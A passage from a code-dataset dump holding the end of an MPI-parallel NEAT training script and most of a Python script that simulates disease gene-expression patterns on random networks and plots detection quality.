it back\n\n if n_wVec < 0: # End signal recieved\n print('Worker # ', rank, ' shutting down.')\n break\n\ndef stopAllWorkers():\n \"\"\"Sends signal to all workers to shutdown.\n \"\"\"\n global nWorker\n nSlave = nWorker-1\n print('stopping workers')\n for iWork in range(nSlave):\n comm.send(-1, dest=(iWork)+1, tag=1)\n\ndef mpi_fork(n):\n \"\"\"Re-launches the current script with workers\n Returns \"parent\" for original parent, \"child\" for MPI children\n (from https://github.com/garymcintire/mpi_util/)\n \"\"\"\n if n<=1:\n return \"child\"\n if os.getenv(\"IN_MPI\") is None:\n env = os.environ.copy()\n env.update(\n MKL_NUM_THREADS=\"1\",\n OMP_NUM_THREADS=\"1\",\n IN_MPI=\"1\"\n )\n print( [\"mpirun\", \"-np\", str(n), sys.executable] + sys.argv)\n subprocess.check_call([\"mpirun\", \"-np\", str(n), sys.executable] +['-u']+ sys.argv, env=env)\n return \"parent\"\n else:\n global nWorker, rank\n nWorker = comm.Get_size()\n rank = comm.Get_rank()\n #print('assigning the rank and nworkers', nWorker, rank)\n return \"child\"\n\n\n# -- Input Parsing ------------------------------------------------------- -- #\n\ndef main(argv):\n \"\"\"Handles command line input, launches optimization or evaluation script\n depending on MPI rank.\n \"\"\"\n global fileName, hyp # Used by both master and slave processes\n fileName = args.outPrefix\n hyp_default = args.default\n hyp_adjust = args.hyperparam\n\n hyp = loadHyp(pFileName=hyp_default)\n updateHyp(hyp,hyp_adjust)\n\n # Launch main thread and workers\n if (rank == 0):\n master()\n else:\n slave()\n\nif __name__ == \"__main__\":\n ''' Parse input and launch '''\n parser = argparse.ArgumentParser(description=('Evolve NEAT networks and store all population elements'))\n \n parser.add_argument('-d', '--default', type=str,\\\n help='default hyperparameter file', default='p/default_neat.json')\n\n parser.add_argument('-p', '--hyperparam', type=str,\\\n help='hyperparameter file', required=True)\n\n parser.add_argument('-o', '--outPrefix', type=str,\\\n help='file name for result output', required=True)\n \n parser.add_argument('-n', '--num_worker', type=int,\\\n help='number of cores to use', default=8)\n\n args = parser.parse_args()\n\n\n # Use MPI if parallel\n if \"parent\" == mpi_fork(args.num_worker+1): os._exit(0)\n\n main(args) \n \n\n\n\n\n","sub_path":"prettyNEAT/neat_train.py","file_name":"neat_train.py","file_ext":"py","file_size_in_byte":9324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"207402324","text":"# -*- coding: utf-8 -*-\r\n###############################################################################\r\n#import os, sys\r\n#import os\r\nimport networkx as nx\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport random\r\nimport pandas as pd\r\nfrom collections import Counter \r\nimport time\r\n\r\nimport warnings\r\n\r\n\r\n############################################################################### \r\n############################################################################### \r\n###############################################################################\r\n# get all neighbors of a given orderof ecah node\r\ndef all_neighbors_order(g, order):\r\n g = g.copy()\r\n \r\n neighbors_dict = {}\r\n \r\n for node in g.nodes():\r\n neighbors = list(g.neighbors(node))\r\n \r\n if(len(neighbors) > 0):\r\n for o in range(0,order - 1): \r\n neighbors_2 = []\r\n \r\n for nei in neighbors:\r\n neighbors_2 = neighbors_2 + list(g.neighbors(nei))\r\n \r\n neighbors = neighbors + list(set(neighbors_2))\r\n neighbors.remove(node)\r\n neighbors = list(set(neighbors))\r\n \r\n neighbors_dict[node] = neighbors\r\n \r\n return neighbors_dict\r\n \r\n###############################################################################\r\n# get all neighbors of a given orderof ecah node\r\ndef all_neighbors_multiorder(g, order):\r\n g = g.copy()\r\n \r\n neighbors_dict = {}\r\n ego_dict = {}\r\n \r\n for o in range(1,order+1):\r\n neighbors_dict[o] = {}\r\n ego_dict[o] = {}\r\n \r\n for node in g.nodes():\r\n ego = {}\r\n neigh = {}\r\n \r\n #################\r\n neighbors = list(g.neighbors(node))\r\n \r\n #print node\r\n #print neighbors\r\n \r\n ego[0] = set([node])\r\n ego[1] = set(neighbors)\r\n \r\n if(len(neighbors) > 0):\r\n for distance in range(2,order+1): \r\n neighbors_2 = []\r\n \r\n for neighbor in neighbors:\r\n neighbors_2 = neighbors_2 + list(g.neighbors(neighbor))\r\n \r\n neighbors = neighbors + list(set(neighbors_2))\r\n neighbors.remove(node)\r\n neighbors = list(set(neighbors))\r\n \r\n ego[distance] = set(neighbors)\r\n else:\r\n for distance in range(2,order+1): \r\n ego[distance] = set([])\r\n \r\n #####################\r\n\r\n for distance in range(1,order+1): \r\n neigh[distance] = ego[distance].difference(ego[distance-1])\r\n neighbors_dict[distance][node] = list(neigh[distance]) \r\n ego_dict[distance][node] = list(ego[distance].difference([node])) \r\n \r\n result = {}\r\n result['neighbors'] = neighbors_dict\r\n result['ego'] = ego_dict\r\n \r\n return result\r\n\r\n############################################################################### \r\n############################################################################### \r\n############################################################################### \r\n# Color Normal \r\n# uses ordinary random walk to color the nodes\r\ndef color_nodes_normal(g, n, p, q, limit, neighbors_dict):\r\n g = g.copy()\r\n all_nodes = g.nodes()\r\n colors = {}\r\n colored = []\r\n clusters = {}\r\n seeds = {}\r\n\r\n for value in all_nodes:\r\n colors[value] = 'g'\r\n clusters[value] = 0\r\n seeds[value] = 0 \r\n\r\n step = 0 \r\n cluster_id = 1 \r\n \r\n random_node = random.choice(all_nodes)\r\n seeds[random_node] = cluster_id\r\n\r\n while(colors.values().count('r') < n): \r\n if colors[random_node] == 'g':\r\n colors[random_node] = 'r'\r\n colored.append(random_node)\r\n clusters[random_node] = cluster_id\r\n last_colored = True\r\n step = 0 \r\n else:\r\n last_colored = False\r\n step = step + 1\r\n \r\n if random.random() <= p or last_colored == False:\r\n try:\r\n random_node = random.choice(neighbors_dict[random_node]) \r\n except:\r\n pass \r\n else:\r\n potential_nodes = list(set(all_nodes).difference(set(colored)))\r\n random_node = random.choice(potential_nodes) \r\n cluster_id += 1\r\n seeds[random_node] = cluster_id\r\n \r\n if step > limit:\r\n potential_nodes = list(set(all_nodes).difference(set(colored)))\r\n random_node = random.choice(potential_nodes) \r\n cluster_id += 1\r\n seeds[random_node] = cluster_id\r\n \r\n remaining_colors = {}\r\n remaining_colors_clr = {}\r\n \r\n for node, color in colors.items():\r\n if color == 'g':\r\n remaining_colors[node] = 'g'\r\n remaining_colors_clr[node] = 'g'\r\n elif color == 'r':\r\n if random.random() <= q: \r\n remaining_colors[node] = 'r'\r\n remaining_colors_clr[node] = 'r'\r\n else:\r\n remaining_colors[node] = 'y'\r\n remaining_colors_clr[node] = 'g'\r\n\r\n nx.set_node_attributes(g, 'color_old', colors)\r\n nx.set_node_attributes(g, 'color_clr', remaining_colors_clr)\r\n nx.set_node_attributes(g, 'color', remaining_colors)\r\n nx.set_node_attributes(g, 'cluster', clusters)\r\n nx.set_node_attributes(g, 'seed', seeds)\r\n\r\n return g, cluster_id\r\n \r\n############################################################################### \r\n# Color Hybrid \r\n# uses modified random walk to color the nodes, \r\n# so it avoids colored nodes among neighbors of the current node\r\n# if there are no uncolored neighbors it colors random neighbor of the cluster \r\n# clusters have elongated structures\r\ndef color_nodes_hybrid(g, n, p, q, limit, neighbors_dict):\r\n g = g.copy()\r\n all_nodes = g.nodes()\r\n colors = {}\r\n colored = []\r\n clusters = {} \r\n seeds = {}\r\n\r\n for value in all_nodes:\r\n colors[value] = 'g'\r\n seeds[value] = 0 \r\n clusters[value] = 0\r\n\r\n random_node = random.choice(all_nodes)\r\n \r\n step = 0 \r\n cluster_id = 1 \r\n cluster_nodes = []\r\n cluster_neighbors = []\r\n \r\n while(colors.values().count('r') < n): \r\n if colors[random_node] == 'g':\r\n colors[random_node] = 'r'\r\n colored.append(random_node)\r\n clusters[random_node] = cluster_id\r\n cluster_nodes.append(random_node)\r\n cluster_neighbors += neighbors_dict[random_node]\r\n cluster_neighbors = list(set(cluster_neighbors))\r\n last_colored = True\r\n step = 0\r\n else:\r\n last_colored = False\r\n step = step + 1\r\n \r\n if random.random() <= p or last_colored == False: \r\n try: \r\n #random_node = random.choice(neighbors_dict[random_node]) \r\n potential_nodes = list(set(neighbors_dict[random_node]).difference(set(colored))) \r\n #potential_nodes = list(set(cluster_neighbors).difference(set(colored)))\r\n \r\n if len(potential_nodes) > 0:\r\n random_node = random.choice(potential_nodes) \r\n else:\r\n potential_nodes = list(set(cluster_neighbors).difference(set(colored)))\r\n \r\n if len(potential_nodes) > 0:\r\n random_node = random.choice(potential_nodes) \r\n else:\r\n potential_nodes = list(set(all_nodes).difference(set(colored)))\r\n random_node = random.choice(potential_nodes)\r\n cluster_id += 1\r\n cluster_nodes = []\r\n cluster_neighbors = [] \r\n seeds[random_node] = cluster_id\r\n except:\r\n pass \r\n else:\r\n potential_nodes = list(set(all_nodes).difference(set(colored)))\r\n random_node = random.choice(potential_nodes) \r\n cluster_id += 1\r\n cluster_nodes = []\r\n cluster_neighbors = []\r\n \r\n if step > limit:\r\n potential_nodes = list(set(all_nodes).difference(set(colored)))\r\n random_node = random.choice(potential_nodes) \r\n cluster_id += 1\r\n cluster_nodes = []\r\n cluster_neighbors = []\r\n \r\n remaining_colors = {}\r\n remaining_colors_clr = {}\r\n \r\n for node, color in colors.items():\r\n if color == 'g':\r\n remaining_colors[node] = 'g'\r\n remaining_colors_clr[node] = 'g'\r\n elif color == 'r':\r\n if random.random() <= q: \r\n remaining_colors[node] = 'r'\r\n remaining_colors_clr[node] = 'r'\r\n else:\r\n remaining_colors[node] = 'y'\r\n remaining_colors_clr[node] = 'g'\r\n \r\n nx.set_node_attributes(g, 'color_old', colors)\r\n nx.set_node_attributes(g, 'color_clr', remaining_colors_clr)\r\n nx.set_node_attributes(g, 'color', remaining_colors)\r\n nx.set_node_attributes(g, 'cluster', clusters)\r\n nx.set_node_attributes(g, 'seed', seeds)\r\n \r\n return g, cluster_id\r\n \r\n############################################################################### \r\n# Color Compact\r\n# uses compact random walk to color the nodes, \r\n# it colors random neighbor of the cluster \r\ndef color_nodes_compact(g, n, p, q, limit, neighbors_dict):\r\n g = g.copy()\r\n all_nodes = g.nodes()\r\n colors = {}\r\n colored = []\r\n clusters = {}\r\n seeds = {}\r\n\r\n for value in all_nodes:\r\n colors[value] = 'g'\r\n seeds[value] = 0 \r\n clusters[value] = 0\r\n\r\n random_node = random.choice(all_nodes)\r\n jump = True\r\n \r\n step = 0 \r\n cluster_id = 1 \r\n cluster_nodes = []\r\n cluster_neighbors = []\r\n \r\n while(colors.values().count('r') < n):\r\n # coloring of the node if it is uncolored\r\n if colors[random_node] == 'g':\r\n if jump == True:\r\n seeds[random_node] = cluster_id\r\n \r\n colors[random_node] = 'r'\r\n colored.append(random_node)\r\n clusters[random_node] = cluster_id\r\n cluster_nodes.append(random_node)\r\n cluster_neighbors += neighbors_dict[random_node]\r\n cluster_neighbors = list(set(cluster_neighbors))\r\n last_colored = True\r\n step = 0\r\n jump = False\r\n else:\r\n last_colored = False\r\n step = step + 1\r\n \r\n # chose node within cluster to color if there are none uncolored try to jump\r\n if random.random() <= p or last_colored == False: \r\n try: \r\n potential_nodes = list(set(cluster_neighbors).difference(set(colored)))\r\n \r\n if len(potential_nodes) > 0:\r\n random_node = random.choice(potential_nodes) \r\n else:\r\n potential_nodes = list(set(all_nodes).difference(set(colored)))\r\n random_node = random.choice(potential_nodes)\r\n cluster_id += 1\r\n cluster_nodes = []\r\n cluster_neighbors = [] \r\n jump = True\r\n except:\r\n pass\r\n \r\n # try to jump by chosing randomly uncolored cluster \r\n else: \r\n potential_nodes = list(set(all_nodes).difference(set(colored)))\r\n random_node = random.choice(potential_nodes) \r\n cluster_id += 1\r\n cluster_nodes = []\r\n cluster_neighbors = []\r\n jump = True\r\n \r\n # start new cluster if time limit is up \r\n if step > limit:\r\n potential_nodes = list(set(all_nodes).difference(set(colored)))\r\n random_node = random.choice(potential_nodes) \r\n cluster_id += 1\r\n cluster_nodes = []\r\n cluster_neighbors = []\r\n jump = True\r\n\r\n remaining_colors = {}\r\n remaining_colors_clr = {}\r\n \r\n for node, color in colors.items():\r\n if color == 'g':\r\n remaining_colors[node] = 'g'\r\n remaining_colors_clr[node] = 'g'\r\n elif color == 'r':\r\n if random.random() <= q: \r\n remaining_colors[node] = 'r'\r\n remaining_colors_clr[node] = 'r'\r\n else:\r\n remaining_colors[node] = 'y'\r\n remaining_colors_clr[node] = 'g' \r\n \r\n nx.set_node_attributes(g, 'color_old', colors)\r\n nx.set_node_attributes(g, 'color_clr', remaining_colors_clr)\r\n nx.set_node_attributes(g, 'color', remaining_colors)\r\n nx.set_node_attributes(g, 'cluster', clusters)\r\n nx.set_node_attributes(g, 'seed', seeds)\r\n \r\n return g, cluster_id\r\n\r\n###############################################################################\r\n###############################################################################\r\n###############################################################################\r\n\r\ndef neighbors_order(g, node, order):\r\n g = g.copy()\r\n \r\n neighbors = list(g.neighbors(node))\r\n \r\n if(len(neighbors) > 0):\r\n for o in range(0,order - 1): \r\n \r\n neighbors_2 = []\r\n \r\n for nei in neighbors:\r\n neighbors_2 = neighbors_2 + list(g.neighbors(nei))\r\n \r\n neighbors = neighbors + list(set(neighbors_2))\r\n neighbors.remove(node)\r\n \r\n return neighbors\r\n \r\n###############################################################################\r\n \r\ndef color_nodes_order(g, n, p, order):\r\n g = g.copy()\r\n colors = {}\r\n\r\n for value in g.nodes():\r\n colors[value] = 'g'\r\n\r\n random_node = random.choice(g.nodes())\r\n \r\n limit = 1000000\r\n step = 0 \r\n \r\n #while(colors.values().count('r') < n):\r\n while(list(colors.values()).count('r') < n): \r\n colors[random_node] = 'r'\r\n \r\n if (random.random() <= p):\r\n try:\r\n random_node = random.choice(neighbors_order(g, random_node, order)) \r\n except:\r\n a = 1 \r\n else:\r\n random_node = random.choice(g.nodes())\r\n \r\n step = step + 1\r\n if step > limit:\r\n break\r\n\r\n nx.set_node_attributes(g, 'color', colors)\r\n #print 'colors: ' + str(colors.values().count('r'))\r\n return g\r\n \r\n###############################################################################\r\n###############################################################################\r\n###############################################################################\r\n \r\ndef get_colored_subgraph(g, color = 'r', equality = 'positive'):\r\n #print equality\r\n g = g.copy()\r\n nodes = []\r\n nodes_neg = []\r\n\r\n for value in g.node:\r\n if g.node[value]['color'] == color:\r\n nodes.append(value)\r\n else:\r\n nodes_neg.append(value)\r\n \r\n if(equality == 'positive'):\r\n g = g.subgraph(nodes)\r\n elif(equality == 'negative'):\r\n g = g.subgraph(nodes_neg)\r\n \r\n return g \r\n\r\n###############################################################################\r\n###############################################################################\r\n###############################################################################\r\n\r\ndef get_collective_gene_expression(simulation_data, expressed_genes_under = None, expressed_genes_over = None, phenotype_table = None, mode = 'normal'): \r\n start = time.time()\r\n \r\n fields = simulation_data['fields']\r\n filter_range = simulation_data['filter_range']\r\n\r\n #expressed_genes_row = {} \r\n #expressed_genes_row['threshold'] = simulation_data['threshold']\r\n \r\n #print \"time in 1 = \" + str(time.time() - start)\r\n\r\n #######################################################################\r\n start = time.time()\r\n \r\n tables = {}\r\n \r\n for field in fields.keys():\r\n tables[field + '_under'] = []\r\n tables[field + '_over'] = []\r\n tables[field + '_both'] = []\r\n \r\n if mode == 'random':\r\n for key, value in simulation_data['healthy_fields'].items():\r\n a = \"phenotype_table[\" + value\r\n a = a.replace(\"{\", \"phenotype_table['\")\r\n a = a.replace(\"}\", \"']\")\r\n #a = a.replace(\"&\", \"and\") \r\n a += \"]\"\r\n \r\n healthy_table = eval(a)\r\n\r\n for key, value in fields.items():\r\n a = \"phenotype_table[\" + value\r\n a = a.replace(\"{\", \"phenotype_table['\")\r\n a = a.replace(\"}\", \"']\")\r\n #a = a.replace(\"&\", \"and\") \r\n a += \"]\"\r\n \r\n subtable = eval(a) \r\n\r\n if mode == 'normal':\r\n iter_list = list(subtable.index)\r\n elif mode == 'random':\r\n if simulation_data['disease_group_limit'] == False:\r\n iter_list = random.sample(list(healthy_table.index), len(subtable))\r\n else:\r\n iter_list = random.sample(list(healthy_table.index), min(len(list(subtable.index)), simulation_data['disease_group_limit'])) \r\n elif mode == 'limit': \r\n iter_list = random.sample(list(subtable.index), min(len(list(subtable.index)), simulation_data['disease_group_limit']))\r\n \r\n for i in iter_list:\r\n tables[key + '_under'] += expressed_genes_under[i]\r\n tables[key + '_over'] += expressed_genes_over[i]\r\n tables[key + '_both'] += expressed_genes_under[i] + expressed_genes_over[i] \r\n \r\n #print \"time in 2 = \" + str(time.time() - start) \r\n ###########################################################################\r\n start = time.time()\r\n \r\n counters = {}\r\n genes = {}\r\n \r\n for key, value in tables.items(): \r\n try:\r\n gene = value\r\n except:\r\n gene = []\r\n try:\r\n counter = Counter(gene)\r\n except:\r\n counter = [] \r\n \r\n counters[key] = counter\r\n genes[key] = gene\r\n\r\n #print \"time in 3 = \" + str(time.time() - start)\r\n\r\n filtered = {}\r\n reverse_filtered = {}\r\n flt = {}\r\n\r\n start = time.time()\r\n \r\n for key, value in counters.items(): \r\n for filter_threshold in range(0, filter_range + 1):\r\n tmp_flt = dict((subkey, subvalue) for (subkey, subvalue) in dict(value).items() if subvalue > filter_threshold ).keys() \r\n tmp_rev_flt = dict((subkey, subvalue) for (subkey, subvalue) in dict(value).items() if ((subvalue <= filter_threshold) & (subvalue > 0)) ).keys()\r\n \r\n filtered[str(key) + '_filtered_' + str(filter_threshold)] = tmp_flt\r\n reverse_filtered[str(key) + '_reverse_filtered_' + str(filter_threshold)] = tmp_rev_flt \r\n flt[str(key) + '_flt_' + str(filter_threshold)] = tmp_flt\r\n \r\n if filter_threshold != 0:\r\n flt[str(key) + '_flt_-' + str(filter_threshold)] = tmp_rev_flt\r\n done = time.time()\r\n elapsed = done - start\r\n #print \"time in 4 old = \" + str(elapsed)\r\n \r\n ###########################################################################\r\n \r\n collective_genes = {}\r\n #collective_genes['filtered'] = filtered\r\n #collective_genes['reverse_filtered'] = reverse_filtered \r\n collective_genes['flt'] = flt\r\n collective_genes['counters'] = counters\r\n \r\n return collective_genes\r\n\r\n###############################################################################\r\n###############################################################################\r\n############################################################################### \r\n\r\ndef simulate_artificial_disease(disease_params, simulation_data, g, colored_graph): \r\n G = disease_params['G']\r\n D = disease_params['D']\r\n A = disease_params['A']\r\n rho_0 = disease_params['rho_0']\r\n \r\n rho_D_max = np.min([1, rho_0*G/D])\r\n rho_D = rho_0 + A*(rho_D_max - rho_0)\r\n rho_G = rho_0 - (rho_D - rho_0)*D/(G - D)\r\n \r\n #print 'rho_0 = ' + str(rho_0) \r\n #print 'rho_D = ' + str(rho_D) \r\n #print 'rho_G = ' + str(rho_G) \r\n \r\n result = {}\r\n result['colored_subgraph'] = get_colored_subgraph(colored_graph, color = 'r', equality = 'positive') \r\n result['uncolored_subgraph'] = get_colored_subgraph(colored_graph, color = 'r', equality = 'negative') \r\n \r\n all_nodes = colored_graph.nodes()\r\n dis_nodes = result['colored_subgraph'].nodes()\r\n hlt_nodes = result['uncolored_subgraph'].nodes() \r\n \r\n # for each individual mark if it is sick\r\n #print \"phenotype table\"\r\n\r\n result['phenotype_table'] = pd.DataFrame(columns = ['disease']) \r\n result['expressed_genes_under'] = []\r\n result['expressed_genes_over'] = []\r\n \r\n #print \"disease\"\r\n\r\n for i in range(0, disease_params['S']): \r\n patient = {}\r\n patient['disease'] = 1\r\n result['phenotype_table'] = result['phenotype_table'].append(patient, ignore_index=True) \r\n\r\n exp_genes = []\r\n \r\n for node in dis_nodes: \r\n if(float(np.random.uniform(0,1,1)) <= rho_D):\r\n exp_genes.append(node)\r\n \r\n for node in hlt_nodes: \r\n if(float(np.random.uniform(0,1,1)) <= rho_G):\r\n exp_genes.append(node)\r\n \r\n result['expressed_genes_under'].append(dis_nodes) #note that underexpressed genes are used as a disease picture\r\n result['expressed_genes_over'].append(exp_genes) \r\n \r\n #print \"healthy\"\r\n for i in range(disease_params['S'], disease_params['patients_number']): \r\n patient = {}\r\n patient['disease'] = 0\r\n result['phenotype_table'] = result['phenotype_table'].append(patient, ignore_index=True) \r\n \r\n exp_genes = []\r\n \r\n for node in all_nodes: \r\n if(float(np.random.uniform(0,1,1)) <= rho_0):\r\n exp_genes.append(node)\r\n \r\n result['expressed_genes_under'].append([]) #note that underexpressed genes are used as a disease picture\r\n #result['expressed_genes_under'].append(dis_nodes) #note that underexpressed genes are used as a disease picture \r\n result['expressed_genes_over'].append(exp_genes)\r\n \r\n # if not give to it random expression pattern\r\n # if sick take some expressed genes from pattern and some at random\r\n #disease_params['prefix'] += '_p_' + str(disease_params['p']) + '_re_' + str(disease_params['realisation'])\r\n \r\n return result\r\n\r\n############################################################################### \r\n \r\n#def simulate_series(simulation_data, disease_params):\r\ndef simulate_series(simulation_data):\r\n disease_params = simulation_data \r\n #disease_params['order'] = 1\r\n simulation_data['G'] = simulation_data['network_n'] # genes\r\n \r\n simulation_data['S'] = simulation_data['P']\r\n simulation_data['patients_number'] = simulation_data['S'] \r\n\r\n # make network\r\n if(simulation_data['network_type'] == 'BA'):\r\n g = nx.barabasi_albert_graph(simulation_data['network_n'], simulation_data['network_m'])\r\n elif(simulation_data['network_type'] == 'ER'):\r\n g = nx.erdos_renyi_graph(simulation_data['network_n'], simulation_data['network_p']) \r\n elif(simulation_data['model'] == '2D'):\r\n g = nx.grid_2d_graph(simulation_data['network_x'], simulation_data['network_y'], periodic = True)\r\n elif(simulation_data['model'] == 'CYC'):\r\n g = nx.cycle_graph(simulation_data['network_n'])\r\n elif(simulation_data['model'] == 'REG'):\r\n g = nx.random_regular_graph(simulation_data['network_d'], simulation_data['network_n'])\r\n\r\n #neighbors_dict = all_neighbors_order(g, simulation_params['order'])\r\n colored_graph = color_nodes_order(g, disease_params['D'], disease_params['p'], disease_params['order'])\r\n #colored_graph = color_nodes_order(g, disease_params['D'], disease_params['p'], disease_params['order'])\r\n \r\n g_strip = g.copy()\r\n \r\n solitary = [ n for n,d in g_strip.degree_iter() if d == 0 ]\r\n g_strip.remove_nodes_from(solitary) \r\n layout = nx.spring_layout(g_strip)\r\n \r\n result = {}\r\n #result['layout'] = layout\r\n #result['g'] = g\r\n #result['g_strip'] = g_strip\r\n \r\n for disease_params['rho_0'] in disease_params['rho_0_list']:\r\n result[str(disease_params['rho_0'])] = {}\r\n\r\n result_disease = simulate_artificial_disease(disease_params, simulation_data, colored_graph, colored_graph)\r\n collective_genes = get_collective_gene_expression(simulation_data, result_disease['expressed_genes_under'], result_disease['expressed_genes_over'], result_disease['phenotype_table'], mode = 'normal') \r\n filtered = collective_genes['flt']\r\n \r\n for flt in simulation_data['f_list'] :\r\n #result[str(disease_params['rho_0'])][str(flt)] = {}\r\n \r\n tmp_result = {}\r\n \r\n tmp_result['extracted_genes'] = list(set(filtered['dis_over_flt_' + str(flt)]))\r\n tmp_result['disease_genes'] = list(set(filtered['dis_under_flt_' + str(flt)]))\r\n tmp_result['true_poositive_genes'] = list(set(filtered['dis_under_flt_' + str(flt)]) & set(filtered['dis_over_flt_' + str(flt)]))\r\n tmp_result['disease_params'] = disease_params\r\n \r\n tmp_result['layout'] = layout\r\n tmp_result['g'] = g\r\n tmp_result['g_strip'] = g_strip\r\n \r\n tmp_result['rho_0'] = disease_params['rho_0']\r\n tmp_result['flt'] = flt\r\n \r\n \r\n result[str(disease_params['rho_0'])][str(flt)] = tmp_result\r\n \r\n return result\r\n \r\n###############################################################################\r\n\r\ndef plot_network(tmp_result): \r\n with warnings.catch_warnings():\r\n warnings.filterwarnings(\"ignore\",category=DeprecationWarning)\r\n g_strip = tmp_result['g_strip']\r\n layout = tmp_result['layout']\r\n \r\n simulation_data['G'] = simulation_data['network_n'] # genes\r\n simulation_data['S'] = simulation_data['P']\r\n simulation_data['patients_number'] = simulation_data['S'] \r\n \r\n disease_params = tmp_result['disease_params']\r\n \r\n plt.figure(figsize=(6,6))\r\n #plt.subplot(1,2,1)\r\n \r\n g_over = g_strip.subgraph(tmp_result['extracted_genes'])\r\n \r\n solitary_over = len([ n for n,d in g_over.degree_iter() if d == 0 ])\r\n \r\n n = len(g_over.nodes()) \r\n if n > 0: \r\n c = float(n - solitary_over)/float(n) \r\n else:\r\n c = 0\r\n \r\n c_G = 1.0 - np.power(1.0 - nx.density(g_strip), n - 1) \r\n delta_c = c - c_G\r\n \r\n F_s = len(tmp_result['extracted_genes'])\r\n V_G = len(tmp_result['disease_genes'])\r\n Vs_G = len(tmp_result['true_poositive_genes'])\r\n \r\n try:\r\n PPV = float(Vs_G)/float(F_s)\r\n except:\r\n PPV = 0\r\n \r\n try:\r\n TPR = float(Vs_G)/float(V_G) \r\n except:\r\n TPR = 0\r\n \r\n Q = PPV*TPR\r\n \r\n #######################################################################\r\n \r\n nx.draw_networkx(g_strip,pos=layout,\r\n with_labels=False,\r\n node_size = 10,\r\n node_color= 'k',\r\n alpha=0.2\r\n )\r\n \r\n #######################################################################\r\n \r\n # false negative\r\n nx.draw_networkx(g_strip.subgraph(tmp_result['disease_genes']), pos=layout,\r\n with_labels=False,\r\n node_size = 100,\r\n node_color= 'orange',\r\n edge_color = 'orange',\r\n width = 2.0,\r\n alpha=1.0\r\n ) \r\n \r\n nx.draw_networkx_nodes(g_strip.subgraph(tmp_result['disease_genes']), pos=layout,\r\n with_labels=False,\r\n node_size = 100,\r\n node_color= 'orange',\r\n alpha=1.0,\r\n label='false negative'\r\n ) \r\n \r\n #######################################################################\r\n \r\n # false positive\r\n nx.draw_networkx(g_strip.subgraph(tmp_result['extracted_genes']), pos=layout,\r\n with_labels=False,\r\n node_size = 100,\r\n node_color= 'lime',\r\n edge_color = 'lime',\r\n width = 2.0,\r\n alpha=1.0\r\n ) \r\n \r\n nx.draw_networkx_nodes(g_strip.subgraph(tmp_result['extracted_genes']), pos=layout,\r\n with_labels=False,\r\n node_size = 100,\r\n node_color= 'lime',\r\n alpha=1.0,\r\n label='false positive'\r\n ) \r\n \r\n #######################################################################\r\n \r\n # true positive\r\n nx.draw_networkx(g_strip.subgraph(tmp_result['true_poositive_genes']), pos=layout,\r\n with_labels=False,\r\n node_size = 150,\r\n node_color= 'r',\r\n edge_color = 'r',\r\n width = 6.0,\r\n alpha=1.0\r\n ) \r\n \r\n nx.draw_networkx_nodes(g_strip.subgraph(tmp_result['true_poositive_genes']), pos=layout,\r\n with_labels=False,\r\n node_size = 150,\r\n node_color= 'r',\r\n alpha=1.0,\r\n label='true positive'\r\n ) \r\n \r\n #######################################################################\r\n \r\n suffix = '_dc_' + str(round(delta_c,2)) + '_Q_' + str(round(Q,2))\r\n \r\n try:\r\n PPV = float(Vs_G)/float(F_s)\r\n except:\r\n PPV = 0\r\n \r\n try: \r\n TPR = float(Vs_G)/float(V_G) \r\n except:\r\n TPR = 0 \r\n \r\n Q = PPV*TPR\r\n \r\n plt.xticks([])\r\n plt.yticks([])\r\n xylim = [-0.1,1.1]\r\n \r\n plt.xlim(xylim) \r\n plt.ylim(xylim) \r\n #plt.title(title, size = 22) \r\n plt.legend()\r\n \r\n \"\"\"\r\n title = 'G = ' + str(disease_params['G'])\r\n title += ', D = ' + str(disease_params['D']) \r\n title += ', S = ' + str(disease_params['S'])\r\n title += ', A = ' + str(disease_params['A'])\r\n title += ', p = ' + str(disease_params['p']) + ' \\n'\r\n \"\"\"\r\n \r\n title = 'f = ' + str(tmp_result['flt']) \r\n title += ', $\\\\rho_0$ = ' + str(disease_params['rho_0']) # + ' \\n'\r\n \r\n #c_text = 'c = ' + str(round(c,2)) + ' \\n'\r\n #c_text += 'c$_G$ = ' + str(round(c_G,2)) + ' \\n'\r\n #c_text += '$\\Delta$c = ' + str(round(delta_c,2)) # + ' \\n'\r\n c_text = '$\\Delta$c = ' + str(round(delta_c,2)) # + ' \\n'\r\n \r\n f_text = 'PPV = ' + str(round(PPV,2)) + ' \\n'\r\n f_text += 'TPR = ' + str(round(TPR,2)) + ' \\n'\r\n f_text += 'Q = ' + str(round(Q,2)) \r\n \r\n plt.text(0.375, 0.0, c_text, horizontalalignment='left', verticalalignment='top', size = 18) \r\n \r\n #plt.text(0.0, 1.0, c_text, horizontalalignment='left', verticalalignment='top', size = 20) \r\n #plt.text(0.8, 1.0, f_text, horizontalalignment='left', verticalalignment='top', size = 20) \r\n #plt.text(0.325, 0.0, title, horizontalalignment='left', verticalalignment='top', size = 20) \r\n #plt.title(title, horizontalalignment='left', verticalalignment='top', size = 20) \r\n \r\n #if row_number == 1:\r\n plt.title('$\\\\rho_0$ = ' + str(tmp_result['rho_0']) + ', f = ' + str(tmp_result['flt']), size = 18)\r\n \r\n #if col_number == 1:\r\n #plt.ylabel('f = ' + str(tmp_result['flt']) , size = 32) \r\n \r\n #######################################################################\r\n #plt.subplot(1,2,1)\r\n \r\n \r\n \r\n #######################################################################\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n #filename = simulation_data['img'] + prefix + '_flt_' + str(flt) + '_rho_0_' + str(disease_params['rho_0']) + suffix \r\n #filename = simulation_data['img'] + prefix \r\n #filename = filename.replace('.','_')\r\n \r\n \r\n \r\n \r\n \r\n \r\n plt.tight_layout()\r\n #plt.savefig(filename + '_network_spring.png')\r\n #plt.savefig(filename + '_network_spring.pdf') \r\n plt.show() \r\n plt.close() \r\n \r\n###############################################################################\r\n###############################################################################\r\n###############################################################################\r\n\r\n#neighbors_dict = all_neighbors_order(g, simulation_params['order'])\r\n\r\n###############################################################################\r\n################################ SETUP ########################################\r\n###############################################################################\r\n\r\nsimulation_data = {}\r\n\r\n#################################### COMMON ###################################\r\n\r\nsimulation_data['stats_simple'] = True\r\nsimulation_data['make_z_scores'] = True\r\n\r\n########################## COLLECTIVE EXPRESSION ##############################\r\n\r\nsimulation_data['shuffle'] = True\r\nsimulation_data['shuffle'] = False\r\nsimulation_data['shuffled_samples'] = 2\r\n\r\nsimulation_data['excluding'] = True\r\nsimulation_data['excluding'] = False\r\nsimulation_data['filter_range'] = 11\r\n\r\nsimulation_data['fields'] = 